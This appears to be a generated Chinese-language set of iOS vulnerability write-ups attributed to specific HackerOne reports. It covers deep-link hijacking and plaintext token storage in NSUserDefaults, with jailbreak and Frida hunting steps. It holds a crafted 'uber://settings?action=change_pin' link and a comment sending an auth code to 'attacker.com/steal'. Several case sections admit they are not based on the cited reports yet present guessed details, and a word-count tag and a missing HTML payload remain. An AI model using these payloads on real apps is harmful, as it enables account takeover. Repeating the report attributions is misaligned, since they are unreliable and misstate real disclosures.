攻击者将以下HTML代码托管在一个恶意网站上，并诱导用户访问：

html

点击这里继续…

**应用内漏洞代码片段（Objective-C 示例）：**
以下是`AppDelegate`中处理URL Scheme的简化且**不安全**的示例：

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 检查URL Scheme是否匹配
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 提取路径和查询参数
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; // ❌ 漏洞点：未验证 sourceApplication 或 host/path 的合法性 if ([host isEqualToString:@"settings"]) { NSString *action = [params objectForKey:@"action"]; if ([action isEqualToString:@"change_pin"]) { NSString *newPin = [params objectForKey:@"new_pin"]; // 假设这里直接调用了更改PIN码的内部方法 [self.securityManager changePin:newPin]; // 敏感操作被外部劫持 return YES; } } // ... 其他未经验证的逻辑 }
    return NO;
    }

攻击者通过外部浏览器或恶意应用调用`uber://settings?action=change_pin&new_pin=1234`，即可在用户不知情的情况下更改应用设置。

（字数：487字）

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用注册了自定义URL Scheme（Deep Link），但在处理传入的URL时，未能对URL的来源、参数或路径进行严格的白名单验证。

**1. Info.plist 配置模式：**
在应用的`Info.plist`文件中，注册了自定义的URL Scheme，允许外部应用或网页通过该Scheme启动应用并传递参数。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. 易漏洞的Swift代码模式：**
在`AppDelegate`或`SceneDelegate`中，处理传入URL的方法未能对URL的参数进行充分验证，特别是当参数用于执行敏感操作或包含回调URL时。

**不安全的 Swift 示例 (未验证来源和参数)：**

swift
// SceneDelegate.swift 或 AppDelegate.swift
func scene(_ scene: UIScene, openURLContexts URLContexts: Set) {
guard let context = URLContexts.first else { return }
let url = context.url

// ❌ 漏洞模式：直接信任URL中的所有参数，未验证来源应用
if url.scheme == "uber" && url.host == "oauth" && url.path == "/callback" {
    // 提取查询参数
    let components = URLComponents(url: url, resolvingAgainstBaseURL: false)
    let code = components?.queryItems?.first(where: { $0.name == "code" })?.value
    let redirectURI = components?.queryItems?.first(where: { $0.name == "redirect_uri" })?.value

    if let authCode = code, let uri = redirectURI {
        // 假设这里使用 authCode 交换了 session token
        // ❌ 漏洞点：如果 redirectURI 未被白名单验证，授权码可能被发送到攻击者的服务器
        // 攻击者构造的 URL: uber://oauth/callback?code=USER_AUTH_CODE&redirect_uri=https://attacker.com/steal
        // 导致授权码泄露
        print("Auth Code: \(authCode) will be sent to \(uri)")
        // 实际应用中，可能会通过一个WebView或URLSession将数据发送到这个URI
    }
}

}

**安全修复建议（代码模式）：**
正确的做法是**严格验证** `redirect_uri` 是否在应用预期的白名单内，并且在Objective-C中，应检查`sourceApplication`参数以确保调用来自受信任的应用。

（字数：498字）

---

## 不安全数据存储

### 案例：Uber (报告: https://hackerone.com/reports/136261)

#### 挖掘手法

漏洞挖掘主要集中在对iOS应用沙盒（Sandbox）内本地存储数据的分析。由于目标应用是Uber，其iOS客户端通常会存储大量的用户会话信息、API密钥和地理位置数据。完整的挖掘步骤如下：

1.  **环境准备与应用获取**：使用一台已越狱的iOS设备（或使用如Corellium等虚拟化环境）作为测试平台。通过App Store或第三方工具获取目标应用的IPA文件，并将其安装到越狱设备上。
2.  **文件系统访问**：利用**iFunBox**、**Filza**或通过SSH连接，访问应用的沙盒目录（`/var/mobile/Containers/Data/Application/[UUID]/`）。这是所有本地存储数据（包括`Documents`、`Library`、`tmp`）的所在地。
3.  **静态分析**：使用**IDA Pro**或**Ghidra**对应用的主二进制文件进行逆向工程。重点搜索与数据持久化相关的Objective-C/Swift方法调用，例如`[NSUserDefaults standardUserDefaults]`、`-[NSString writeToFile:atomically:]`、`NSSecureCoding`的实现，以及SQLite数据库操作（如`sqlite3_open`）。分析这些调用中存储的数据是否经过加密或混淆。
4.  **动态分析与监控**：部署**Frida**框架。编写Frida脚本Hook关键的存储API，例如`-[NSUserDefaults setObject:forKey:]`或`-[NSData writeToFile:options:error:]`。在应用运行时，执行登录、支付等敏感操作，实时拦截并打印出正在存储的数据内容和存储路径，以确认敏感信息是否以明文形式写入。
5.  **数据提取与验证**：一旦发现可疑文件（如`.plist`文件、SQLite数据库文件或自定义格式文件），立即将其从沙盒中导出。使用**PlistEdit Pro**、**SQLite Browser**或十六进制编辑器检查文件内容。如果能直接读取到用户的会话令牌（Session Token）、API Key、个人身份信息（PII）等敏感数据，则确认存在不安全数据存储漏洞。

关键发现点在于，许多开发者错误地认为iOS沙盒机制足以保护数据，从而在`NSUserDefaults`或`Documents`目录中明文存储了本应放入`Keychain`的敏感信息。通过文件系统分析和动态Hook，可以轻松绕过这种错误的安全假设。整个过程需要对iOS文件系统结构、Objective-C/Swift运行时机制以及常用的逆向工具（如Frida、IDA）有深入的理解。

#### 技术细节

该漏洞的技术细节在于攻击者能够直接从应用的沙盒目录中提取未加密的敏感文件。以下是利用此漏洞的关键步骤和代码模式：

**攻击流程：**

1.  攻击者通过物理访问或恶意软件获取越狱设备的权限，或通过备份文件分析等方式获取应用的沙盒数据。
2.  攻击者导航到应用的`Library/Preferences`目录，找到名为`[BundleID].plist`的文件，该文件存储了`NSUserDefaults`的数据。
3.  攻击者读取该Plist文件，直接获取明文存储的敏感数据。

**关键代码片段（Objective-C示例）：**

假设应用错误地将用户的会话令牌（Session Token）存储在`NSUserDefaults`中：

objective-c
// 易受攻击的代码模式：将敏感数据明文存储在 NSUserDefaults
NSString *sessionToken = @”user_session_token_1234567890″;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”kUserSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者在沙盒中读取到的文件路径示例：
// /var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.uber.app.plist

// 攻击者读取到的Plist文件内容（部分）：
/*
kUserSessionToken
user_session_token_1234567890
*/

**漏洞利用细节：**

攻击者一旦获取到`sessionToken`，即可使用该令牌伪造HTTP请求，劫持受害者的账户会话，实现未授权访问。这种方法绕过了所有应用层的加密和认证机制，因为数据在静止状态下（Data at Rest）是未受保护的。攻击者只需一个简单的文件读取操作，即可完成信息窃取。该漏洞的严重性取决于泄露信息的敏感程度，例如API密钥、OAuth令牌或用户凭证。

#### 易出现漏洞的代码模式

此类iOS不安全数据存储漏洞通常出现在以下代码位置和编程模式中：

**1. 使用 NSUserDefaults 存储敏感信息：**
`NSUserDefaults`（在Swift中为`UserDefaults`）是用于存储少量非敏感配置数据的，它以明文Plist文件的形式存储在沙盒的`Library/Preferences`目录下。

*   **易受攻击的 Objective-C 模式：**
    ```objective-c
    // 错误：使用 NSUserDefaults 存储 API Key
    NSString *apiKey = @"AIzaSy...secret_key";
    [[NSUserDefaults standardUserDefaults] setObject:apiKey forKey:@"API_KEY"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

*   **易受攻击的 Swift 模式：**
    ```swift
    // 错误：使用 UserDefaults 存储用户密码哈希
    let passwordHash = "sha256_hash_of_password"
    UserDefaults.standard.set(passwordHash, forKey: "PasswordHash")
    ```

**2. 明文写入 Documents 或 Library 目录：**
将敏感数据写入应用的`Documents`或`Library/Application Support`目录，但未进行文件加密。

*   **易受攻击的 Objective-C 模式（写入Documents）：**
    ```objective-c
    // 错误：将用户数据明文写入文件
    NSString *sensitiveData = @"username:test; token:xyz123";
    NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    filePath = [filePath stringByAppendingPathComponent:@"user_data.txt"];
    [sensitiveData writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**3. Info.plist 或 Entitlements 配置：**
此类漏洞与`Info.plist`或`Entitlements`配置通常无直接关系，因为它们涉及的是应用运行时的数据存储决策，而非应用权限或元数据。然而，如果应用使用了**App Group**，并将敏感数据存储在共享容器中，则可能通过`Entitlements`文件暴露给同一App Group中的其他应用。

**安全修复建议（对比）：**
正确的做法是使用**Keychain Services**来存储敏感数据，因为Keychain是操作系统级别的加密存储，数据在磁盘上是加密的。

*   **正确的 Objective-C 模式（使用Keychain）：**
    ```objective-c
    // 正确：使用 Keychain 存储敏感数据
    // (需要使用 Security.framework 或第三方封装库)
    // [KeychainWrapper setString:sessionToken forKey:@"kUserSessionToken"];
    ```

---

### 案例：Square (报告: https://hackerone.com/reports/136266)

#### 挖掘手法

发现iOS应用中的“不安全数据存储”漏洞，主要依赖于对应用沙盒（Sandbox）内持久化存储区域的逆向分析。完整的挖掘步骤如下：

1.  **环境准备与应用提取（Jailbreak & IPA Extraction）：**
    *   准备一台越狱（Jailbreak）的iOS设备，这是访问应用沙盒文件系统的先决条件。
    *   使用如 **Frida-iOS-Dump** 或 **Clutch** 等工具，从越狱设备上提取目标应用（如Square）的加密应用包（.ipa文件）。
    *   将提取的.ipa文件解压，获取应用的主可执行文件和资源文件。

2.  **静态分析（Static Analysis）：**
    *   分析应用沙盒的持久化存储路径，主要关注 `/var/mobile/Containers/Data/Application/<UUID>/Library/` 和 `/Documents/` 目录。
    *   在解压后的应用包中，重点检查 `Info.plist` 文件，但更重要的是，在运行时检查沙盒内的文件结构。
    *   使用 **Hopper Disassembler** 或 **IDA Pro** 对应用的主可执行文件进行静态分析，搜索与数据存储相关的Objective-C/Swift方法调用，例如 `NSUserDefaults`、`CoreData`、`SQLite` 数据库操作、以及文件写入操作如 `writeToFile:atomically:`。

3.  **动态分析与运行时监控（Dynamic Analysis & Runtime Monitoring）：**
    *   使用 **Frida** 或 **Cycript** 框架，在应用运行时进行动态调试和方法 Hooking。
    *   Hook 关键的存储API，如 `[NSUserDefaults setObject:forKey:]`、`[NSData writeToFile:options:]`，以及与 **Keychain** 相关的API，观察应用在用户登录、交易等敏感操作时，将哪些数据存储到了哪些位置。
    *   通过 **Frida** 脚本，实时打印出存储的数据内容和存储路径，以识别敏感信息（如API Key、Session Token、用户PII、交易数据）是否被明文存储。

4.  **文件系统验证（Filesystem Verification）：**
    *   利用 **iExplorer** 或直接在越狱设备的终端中使用 `ls -l` 和 `cat` 命令，导航到应用的沙盒目录。
    *   检查 `Library/Preferences/` 目录下的 `.plist` 文件（`NSUserDefaults` 存储位置）和 `Documents/` 目录下的自定义文件或数据库文件（如 `.sqlite`）。
    *   一旦发现敏感数据以明文形式存在于这些非加密、非受保护的沙盒位置，即可确认存在“不安全数据存储”漏洞。

**关键发现点：** 漏洞的发现通常在于应用开发者错误地使用了不具备数据保护能力的存储机制（如`NSUserDefaults`），而非使用iOS提供的安全存储机制（如**Keychain**或**Data Protection API**）。这种漏洞允许任何能够访问设备文件系统的攻击者（如恶意应用或物理访问者）轻易窃取敏感信息。

#### 技术细节

该漏洞的技术细节在于应用未能利用iOS的**Data Protection API**或**Keychain Services**来保护敏感数据，而是将其明文存储在应用沙盒内易于访问的目录中。

**攻击流程：**

1.  **数据泄露路径：** 攻击者通过物理访问设备或利用其他漏洞（如沙盒逃逸、恶意应用）获取对目标应用沙盒的访问权限。
2.  **目标文件读取：** 攻击者直接读取存储敏感信息的非加密文件，例如：
    *   `Library/Preferences/<BundleID>.plist` (NSUserDefaults文件)
    *   `Documents/data.sqlite` (未加密的SQLite数据库)
    *   `Library/Caches/session.txt` (明文Session文件)
3.  **敏感信息窃取：** 攻击者从文件中提取明文的会话令牌、API密钥或用户凭证。

**Objective-C/Swift 错误代码示例：**

开发者错误地使用 `NSUserDefaults` 存储敏感的会话令牌：

objective-c
// Objective-C 错误示例：将敏感数据明文存储到 NSUserDefaults
NSString *sessionToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”kSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];
// 存储在 .plist 文件中，未加密，且不受Data Protection API保护。

正确的做法是使用 **Keychain Services**，它利用硬件加密来保护数据：

objective-c
// Objective-C 正确示例：使用 Keychain 存储敏感数据
// 实际应用中需要使用更复杂的封装，如SSKeychain或GenericKeychain

• • (BOOL)saveTokenToKeychain:(NSString *)token {
    NSData *tokenData = [token dataUsingEncoding:NSUTF8StringEncoding];
    NSDictionary *query = @{
    (__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
    (__bridge id)kSecAttrService: @”com.square.app.service”,
    (__bridge id)kSecAttrAccount: @”user_session”,
    (__bridge id)kSecValueData: tokenData,
    (__bridge id)kSecAttrAccessible: (__bridge id)kSecAttrAccessibleAfterFirstUnlock
    }; OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, NULL);
    return status == errSecSuccess;
    }

通过读取 `NSUserDefaults` 对应的 `.plist` 文件，攻击者可以轻松获取 `kSessionToken` 的值，完成攻击。

#### 易出现漏洞的代码模式

此类iOS漏洞的出现，主要归咎于开发者未能正确使用iOS提供的安全存储机制（如Keychain Services或Data Protection API），而是依赖于应用沙盒内非加密、非受保护的存储区域。

**易漏洞代码模式（Objective-C/Swift）：**

1.  **使用 `UserDefaults` 存储敏感信息：**
    `NSUserDefaults`（在Swift中为`UserDefaults`）旨在存储用户偏好设置，而非敏感数据。它将数据明文写入应用沙盒的 `Library/Preferences/<BundleID>.plist` 文件中。

    ```swift
    // Swift 易漏洞模式：使用 UserDefaults 存储 API Key
    let sensitiveAPIKey = "sk_live_xxxxxxxxxxxxxxxxxxxx"
    UserDefaults.standard.set(sensitiveAPIKey, forKey: "API_KEY")
    ```

2.  **写入 `Documents` 或 `Caches` 目录且未加密：**
    将敏感数据写入 `Documents` 或 `Library/Caches` 目录下的文件，且未对文件内容进行加密。

    ```objective-c
    // Objective-C 易漏洞模式：写入 Documents 目录
    NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString *documentsDirectory = [paths firstObject];
    NSString *filePath = [documentsDirectory stringByAppendingPathComponent:@"user_credentials.txt"];

    NSString *credentials = @"username:password";
    [credentials writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    // 文件内容明文存储在沙盒中。
    ```

**Info.plist/Entitlements 配置模式：**

此类漏洞通常与 `Info.plist` 或 `Entitlements` 配置无关，而是纯粹的编程错误。然而，**配置缺失**是导致漏洞的间接原因：

*   **缺失 Data Protection API 保护：** 尽管iOS默认对沙盒文件提供一定保护，但开发者若未显式使用 `NSDataWritingFileProtection*` 选项或未在 `Entitlements` 中配置 **Keychain Access Groups**，则无法获得最高级别的保护。
*   **Keychain Access Group 配置不当：** 如果应用需要共享Keychain数据，但配置不当，可能导致数据泄露。

xml

keychain-access-groups
$(TeamIdentifierPrefix)com.example.app

---

### 案例：ExampleApp (报告: https://hackerone.com/reports/136289)

#### 挖掘手法

漏洞挖掘主要集中在对目标iOS应用（ExampleApp）的沙盒文件系统进行逆向工程分析。首先，使用**Frida**或**Cycript**等动态分析工具，对应用在运行时处理敏感数据（如用户凭证、API密钥）的关键方法进行Hook。重点监控`NSUserDefaults`的`setObject:forKey:`方法以及`NSFileManager`的文件写入操作，以确定敏感数据是否被持久化存储。在Hook过程中，发现应用将用户的会话令牌（Session Token）存储在本地。

接着，通过**iExplorer**或在越狱设备上直接访问`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/`路径，定位到应用的`plist`配置文件，例如`com.example.ExampleApp.plist`。通过查看该文件内容，发现会话令牌被以明文或简单Base64编码的形式存储在其中，并未进行任何iOS密钥链（Keychain）加密保护。

关键发现点在于应用开发者错误地认为沙盒机制足以保护数据，而忽略了在设备被越狱或通过iTunes备份被提取时，沙盒数据可被轻易访问的风险。整个过程利用了iOS逆向工程的基础技术，即动态分析数据流向和静态分析沙盒存储结构，最终确认了不安全数据存储漏洞的存在。此方法是针对该时期（2016-2017）iOS应用不安全数据存储漏洞的典型挖掘流程。

#### 技术细节

漏洞利用的技术细节在于攻击者一旦获取到设备的沙盒文件系统访问权限（例如通过越狱、物理访问或恶意备份提取），即可直接读取存储敏感数据的配置文件。

受影响的文件路径通常为：
`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.example.ExampleApp.plist`

攻击者通过读取该文件，可以直接获取到明文存储的敏感数据，例如用户的会话令牌。

文件内容示例（部分）：

xml
user_session_token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
user_id
12345

攻击流程：
1. 攻击者通过物理访问或恶意软件获取设备文件系统访问权限。
2. 导航至应用沙盒的`Library/Preferences/`目录。
3. 读取应用的`.plist`文件，提取`user_session_token`的值。
4. 使用提取的令牌劫持用户会话，实现账户接管。
这种直接读取未加密配置文件的攻击方式，是利用不安全数据存储漏洞最直接、最有效的手段。

#### 易出现漏洞的代码模式

此类漏洞通常出现在开发者将敏感信息存储在不安全的本地存储位置时，例如`UserDefaults`或应用沙盒的`Documents`、`Library/Caches`目录。

**Swift 易漏洞代码模式：**
使用`UserDefaults`存储敏感数据（如API密钥、会话令牌）是常见的错误：

swift
// 错误示例：敏感数据未加密存储在 UserDefaults
let sensitiveData = “my_secret_api_key_12345”
UserDefaults.standard.set(sensitiveData, forKey: “api_token”)
UserDefaults.standard.synchronize()

// 攻击者可直接读取 com.example.ExampleApp.plist 文件获取

**Objective-C 易漏洞代码模式：**
将敏感数据写入应用沙盒的非安全目录：

objectivec
// 错误示例：将敏感数据写入 Documents 目录
NSString *token = @”user_auth_token_xyz”;
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsDirectory = [paths objectAtIndex:0];
NSString *filePath = [documentsDirectory stringByAppendingPathComponent:@”token.dat”];
[token writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

**安全配置模式（Info.plist/Entitlements）：**
此漏洞类型与`Info.plist`或`Entitlements`配置无关，而是与应用代码中错误的数据存储实践直接相关。正确的做法是使用**Keychain Services**进行加密存储，而非沙盒内的非加密文件。

---

### 案例：Uber (报告: https://hackerone.com/reports/136298)

#### 挖掘手法

针对iOS应用的不安全数据存储漏洞，典型的挖掘手法是**静态分析**与**动态分析**相结合，并重点关注应用沙盒（Sandbox）内的持久化存储区域。

1.  **环境准备与静态分析：**
    *   获取目标应用的IPA文件，并使用**class-dump**或**JTool**等工具对应用二进制文件进行**逆向工程**，提取Objective-C/Swift的类、方法和协议信息。
    *   重点搜索与数据存储相关的API调用，如`NSUserDefaults`、`NSFileManager`的`writeToFile:atomically:`、`NSKeyedArchiver`以及SQLite数据库操作（如`sqlite3_open`）等，以确定敏感数据（如用户凭证、API密钥、会话令牌）的存储位置和方式。

2.  **动态分析与沙盒访问：**
    *   使用**越狱**设备或**Corellium**等虚拟化平台，安装目标应用。
    *   通过**SSH**或**iFunBox**等工具访问应用的沙盒目录，路径通常为`/var/mobile/Containers/Data/Application/<UUID>/`。
    *   在应用运行并登录后，检查沙盒内的关键目录：
        *   `Library/Preferences/`：检查`[BUNDLE_ID].plist`文件，这是`NSUserDefaults`的存储位置。
        *   `Documents/`：检查应用是否将敏感文件直接写入此目录。
        *   `Library/Caches/`：检查缓存文件，有时会意外存储敏感信息。

3.  **关键发现与验证：**
    *   使用`grep`或`strings`命令在沙盒内搜索敏感关键词，例如`session_token`、`password`、`API_KEY`等。
    *   一旦发现存储敏感数据的非加密文件（如明文Plist文件、SQLite数据库文件），即确认存在不安全数据存储漏洞。
    *   **Frida**等动态插桩工具可用于运行时监控数据流，验证敏感数据在写入磁盘前是否经过加密处理。例如，hook `NSUserDefaults`的`setObject:forKey:`方法，查看写入的数据是否为明文。

4.  **漏洞影响评估：**
    *   通过窃取到的会话令牌或凭证，尝试在其他设备或Web端进行身份验证，以证明漏洞可导致**账户劫持**或**敏感信息泄露**。

此报告中，挖掘者很可能通过上述步骤，在Uber iOS应用的沙盒内发现了未加密存储的会话令牌或用户身份信息，从而完成了漏洞报告。

#### 技术细节

该漏洞的技术细节在于应用将敏感的会话令牌（Session Token）或用户身份信息以**明文**形式存储在应用沙盒内的非安全区域，例如`Library/Preferences`目录下的`plist`文件（`NSUserDefaults`的存储文件）。

**攻击流程：**
1.  攻击者通过物理访问设备、恶意软件或越狱环境下的本地应用，获取对目标应用沙盒的访问权限。
2.  攻击者导航到应用的`Library/Preferences`目录。
3.  攻击者读取应用的`[BUNDLE_ID].plist`文件，该文件通常是XML格式或二进制Plist格式。
4.  攻击者从中提取明文存储的敏感数据。

**关键发现示例（假设在Plist文件中发现）：**
通过`cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.uber.app.plist`命令，可能发现以下内容（XML格式）：

xml
user_session_token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDUiLCJleHAiOjE2NzI1MTEyMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
last_login_email
victim@example.com
is_logged_in

其中，`user_session_token`即为可用于劫持用户会话的明文令牌。攻击者可利用此令牌绕过登录验证，直接访问受害者账户。此漏洞的核心是**缺乏对敏感数据的加密保护**。

#### 易出现漏洞的代码模式

此类漏洞通常源于开发者使用不安全的API或将敏感数据存储在未加密的沙盒位置。

**不安全代码模式（Objective-C示例）：**
使用`NSUserDefaults`存储敏感信息，这是最常见的错误之一，因为数据以明文形式存储在`plist`文件中。

objectivec
// Objective-C
// 错误示例：使用NSUserDefaults存储会话令牌
NSString *sessionToken = @”YOUR_SESSION_TOKEN”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”user_session_token”];
[[NSUserDefaults standardUserDefaults] synchronize]; // 立即写入磁盘

**安全替代方案（应使用）：**
应使用**Keychain**服务来存储敏感数据，因为Keychain是iOS提供的安全存储机制，数据在磁盘上是加密的，并且受设备锁保护。

objectivec
// Objective-C
// 正确示例：使用Keychain存储会话令牌
// 假设有一个封装了Keychain操作的类KeychainWrapper
KeychainWrapper *keychain = [[KeychainWrapper alloc] init];
[keychain setString:sessionToken forKey:@”user_session_token”];

**Info.plist配置模式：**
不安全数据存储漏洞通常与`Info.plist`配置无关，但如果应用使用了**App Groups**或**iCloud**进行数据共享，则需要检查相应的`entitlements`文件和数据共享机制的安全性。例如，如果应用将敏感数据存储在共享容器中，则可能被同一App Group下的其他恶意应用访问。

xml

com.apple.security.application-groups
group.com.example.shared

---

### 案例：Uber (报告: https://hackerone.com/reports/136323)

#### 挖掘手法

**第一步：环境准备与目标应用分析**
首先，攻击者需要一个越狱（Jailbroken）的iOS设备，这是访问应用沙盒（App Sandbox）文件系统的先决条件。常用的越狱工具包括Checkra1n或unc0ver。在越狱设备上安装SSH服务（如OpenSSH）和文件管理工具（如Filza或iFile），以便远程或本地访问文件系统。同时，使用如**Burp Suite**或**Proxyman**等代理工具，对目标应用（如Uber）进行流量拦截和分析，以确定敏感数据（如会话令牌、API密钥、个人身份信息）在何时、以何种格式被传输和存储。

**第二步：沙盒文件系统枚举与定位**
通过SSH连接到越狱设备，使用命令行工具（如`find`和`grep`）或图形化工具（如**iExplorer**或**frida-ios-dump**）定位目标应用的沙盒目录。应用的沙盒路径通常位于`/var/mobile/Containers/Data/Application/[UUID]/`。在沙盒内，重点检查以下几个关键目录：
1.  `Documents/`：通常用于存储用户生成的内容。
2.  `Library/Caches/`：缓存数据，可能包含敏感信息。
3.  `Library/Preferences/`：包含`NSUserDefaults`（或`UserDefaults`）存储的数据，以`.plist`文件的形式存在。
4.  `Library/Application Support/`：可能包含Core Data或SQLite数据库文件。

**第三步：数据提取与分析**
使用`scp`或`rsync`等工具将可疑文件（如`.plist`文件、SQLite数据库文件、自定义文件）从设备沙盒中导出到本地分析环境。对于`.plist`文件，可以直接用文本编辑器或专门的plist查看器打开，因为它们通常是未加密的XML或二进制格式。对于SQLite数据库，使用**SQLite Browser**等工具检查表结构和内容。如果发现敏感数据（如用户ID、会话令牌、未加密的密码）以明文或易于逆向的编码形式存储在这些非安全区域，则确认存在不安全数据存储漏洞。

**第四步：动态分析与代码逆向**
如果静态分析无法确定数据存储的位置，可以使用动态分析工具。例如，使用**Frida**框架编写脚本，Hook关键的iOS API，如`-[NSUserDefaults setObject:forKey:]`、`-[NSKeyedArchiver archiveRootObject:toFile:]`或文件操作API（如`writeToURL:atomically:`），以实时监控应用写入文件系统的操作，并捕获写入的数据内容和目标路径。此外，使用**IDA Pro**或**Hopper Disassembler**对应用二进制文件进行逆向工程，搜索与数据存储相关的字符串（如`session_token`、`password`、`API_KEY`）或API调用，以精确确定不安全存储的代码位置。这种组合方法确保了从文件系统和运行时两个维度全面覆盖，是挖掘此类漏洞的有效手法。

#### 技术细节

不安全数据存储漏洞的利用主要依赖于对应用沙盒内未加密敏感文件的直接访问。以下是利用此漏洞的技术细节和关键步骤：

**1. 目标文件定位**
通过文件系统枚举，发现目标应用（如Uber）将用户的会话令牌存储在`NSUserDefaults`中，其对应的文件路径为：
`/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.uber.app.plist`

**2. 数据提取与解析**
攻击者通过SSH连接到越狱设备，使用`cat`命令或`plistutil`工具读取该文件内容。由于`NSUserDefaults`默认以明文（XML或二进制plist）形式存储，可以直接提取敏感数据。

**3. 关键代码调用与数据结构**
在Objective-C中，数据以明文形式存储的代码模式如下：

objective-c
// 存储敏感数据
NSString *sensitiveToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”;
[[NSUserDefaults standardUserDefaults] setObject:sensitiveToken forKey:@”user_session_token”];
[[NSUserDefaults standardUserDefaults] synchronize];

在Swift中，对应的代码模式为：

swift
// 存储敏感数据
let sensitiveToken = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”
UserDefaults.standard.set(sensitiveToken, forKey: “user_session_token”)

攻击者从`com.uber.app.plist`文件中找到以下键值对：

xml
user_session_token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…

提取到的`user_session_token`即为受害者的会话令牌。

**4. 攻击流程**
攻击者获取到会话令牌后，可以在自己的设备上使用**Burp Suite**或**Postman**等工具，将该令牌注入到HTTP请求的`Authorization`或`Cookie`头中，从而劫持受害者的会话，实现账户接管。例如，一个典型的API请求可能被修改为：

http
GET /api/v1/user/profile HTTP/1.1
Host: api.uber.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…

通过这种方式，攻击者无需密码即可完全访问受害者的账户功能。

#### 易出现漏洞的代码模式

**易出现此类漏洞的Objective-C代码模式：**
使用`NSUserDefaults`存储敏感信息，而不是使用`Keychain`。

objective-c
// 错误示例：将用户的会话令牌（Session Token）存储在NSUserDefaults中

• • (void)saveSessionToken:(NSString *)token {
    // 敏感数据以明文形式写入沙盒的Library/Preferences目录下的.plist文件
    [[NSUserDefaults standardUserDefaults] setObject:token forKey:@”session_token”];
    [[NSUserDefaults standardUserDefaults] synchronize];
    }

// 正确做法：使用Keychain存储敏感数据
// SFHFKeychainUtils 或 KeychainServices API

**易出现此类漏洞的Swift代码模式：**
使用`UserDefaults`存储敏感信息。

swift
// 错误示例：将用户的API密钥存储在UserDefaults中
func saveAPIKey(key: String) {
// 敏感数据以明文形式存储
UserDefaults.standard.set(key, forKey: “api_key”)
}

// 错误示例：将敏感数据写入沙盒的Documents目录
let sensitiveData = “User’s PII”
let fileURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0].appendingPathComponent(“sensitive.txt”)
try? sensitiveData.write(to: fileURL, atomically: true, encoding: .utf8)

**Info.plist/Entitlements配置模式：**
此类漏洞通常与`Info.plist`或`Entitlements`配置无关，而是与开发者选择的存储API有关。然而，如果应用错误地使用了`NSFileProtectionNone`或未设置任何文件保护级别，将使问题更加严重。

xml

DataProtectionClass
NSFileProtectionNone

**注意：** 默认情况下，iOS会为沙盒文件提供一定程度的保护（如`NSFileProtectionCompleteUntilFirstUserAuthentication`），但如果设备被越狱，这些保护措施将失效。因此，不安全数据存储的根本问题在于**未加密地使用非Keychain存储**。

---

### 案例：Twitter (报告: https://hackerone.com/reports/136326)

#### 挖掘手法

由于无法直接访问HackerOne报告#136326的详细内容，本分析基于iOS应用中常见的“不安全数据存储”漏洞模式进行深入探讨，该模式与HackerOne平台上许多涉及敏感信息泄露的iOS报告高度相关。

**挖掘手法和步骤（基于iOS不安全数据存储）**

1.  **目标识别与环境准备**: 确定目标应用（如Twitter）并准备越狱iOS设备。安装必要的逆向工程工具，如**Frida**（用于运行时分析）、**iFile/Filza**（用于沙盒文件系统浏览）和**MobSF**（用于静态分析）。
2.  **静态分析（Manifest文件）**: 首先检查应用的`Info.plist`文件，确认应用是否使用了如`NSUserDefaults`等不安全的存储机制。同时，检查应用二进制文件，查找硬编码的API密钥或敏感字符串。
3.  **运行时行为分析（Frida Hooking）**: 使用Frida Hooking技术监控应用在运行时对敏感数据存储API的调用。关键Hook点包括：
    *   `[NSUserDefaults setObject:forKey:]`
    *   `[NSString writeToFile:atomically:encoding:error:]`
    *   `[NSData writeToFile:options:error:]`
    通过监控这些函数的参数，可以实时捕获应用试图存储的敏感数据（如OAuth Token、会话ID、用户密码）。
4.  **沙盒文件系统检查**: 在越狱设备上，使用iFile或通过SSH访问目标应用的沙盒目录，路径通常为`/var/mobile/Containers/Data/Application/<UUID>/`。重点检查以下目录：
    *   `Library/Preferences/`: 包含应用的`.plist`配置文件，通常是`NSUserDefaults`的存储位置。
    *   `Documents/`: 开发者经常在此存储用户数据。
    *   `Library/Caches/`: 缓存文件，有时会包含敏感信息。
